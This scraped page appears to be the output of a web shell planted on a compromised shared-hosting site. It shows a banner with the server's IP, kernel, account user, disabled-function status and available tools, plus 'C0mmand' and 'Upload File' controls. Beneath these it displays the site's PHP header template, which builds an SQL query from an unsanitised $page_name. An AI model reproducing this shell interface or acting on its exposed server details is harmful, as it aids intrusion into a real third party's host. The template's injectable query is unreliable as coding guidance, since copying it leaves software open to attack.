Server IP : 103.53.40.154 / Your IP : 3.144.101.75 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/vermaborewell.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<style> .menuzord-brand img { max-height: 78px; } .menuzord-brand { margin: 5px 30px 4px 0;} @media (min-width:320px) and (max-width:767px) { .menuzord-brand img { max-height: 54px; } } </style> <div class="header-nav"> <div class="header-nav-wrapper navbar-scrolltofixed bg-lightest"> <div class="container"> <nav> <div id="menuzord-right" class="menuzord red"> <a class="menuzord-brand" href="<?=$site_url?>/index.html"> <img src="<?=$site_url?>/header_files/<?=$DATALOGO['header_logo']?>" alt="<?=$compDATA['admin_company_name']?>" title="<?=$compDATA['admin_company_name']?>" /> </a> <?php $shwInHdr = db_scalar("select site_pages_show_in_header from tbl_site_pages where 1 and site_pages_link='$page_name'"); $link_sql=db_query("select * from tbl_site_pages where 1 and site_pages_status='Active' and site_pages_show_in_header='Yes' order by site_pages_order_by asc limit 0,7"); if(mysqli_num_rows($link_sql)>0){ ?> <ul class="menuzord-menu"> <?php while($link_data=mysqli_fetch_array($link_sql)){ $pgName=$link_data['site_pages_link']; ?> <?php if($pgName=='index'){ ?> <li <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?> ><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html"><?=$link_data['site_pages_name']?></a></li> <?php }elseif($pgName=='products'){ ?> <li><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html"><?=$link_data['site_pages_name']?></a> <ul class="dropdown"> <?php function fetch_header_menu($query) { $site_url=db_scalar("select admin_website_url from tbl_admin where 1"); while ( $result = mysqli_fetch_array ( $query ) ) { $menu_id = $result ['category_id']; $menu_name = ucwords(strtolower($result ['category_name'])); $menu_cat_link = $result ['category_url']; if (has_child ( query ( $menu_id ) )) { $menuClass = "dropdown"; }else{ $menuClass = ""; } echo "<li ><a href='$site_url/{$menu_cat_link}.html'>{$menu_name}</a>"; if (has_child ( query ( $menu_id ) )) { echo "<ul class='{$menuClass}'>"; fetch_header_menu ( query ( $menu_id ) ); echo "</ul>"; } echo "</li>"; } } fetch_header_menu (query(0)); //call this function with 0 parent id ?> </ul> </li> <?php }else{?> <li <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?> ><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html"><?=$link_data['site_pages_name']?></a></li> <?php }?> <?php }?> <li> <?php if($compDATA['admin_search_option']=='Yes'){ ?> <?php include("site-search.php");?> <? } ?> </li> </ul> <?php }?> </div> </nav> </div> </div> </div>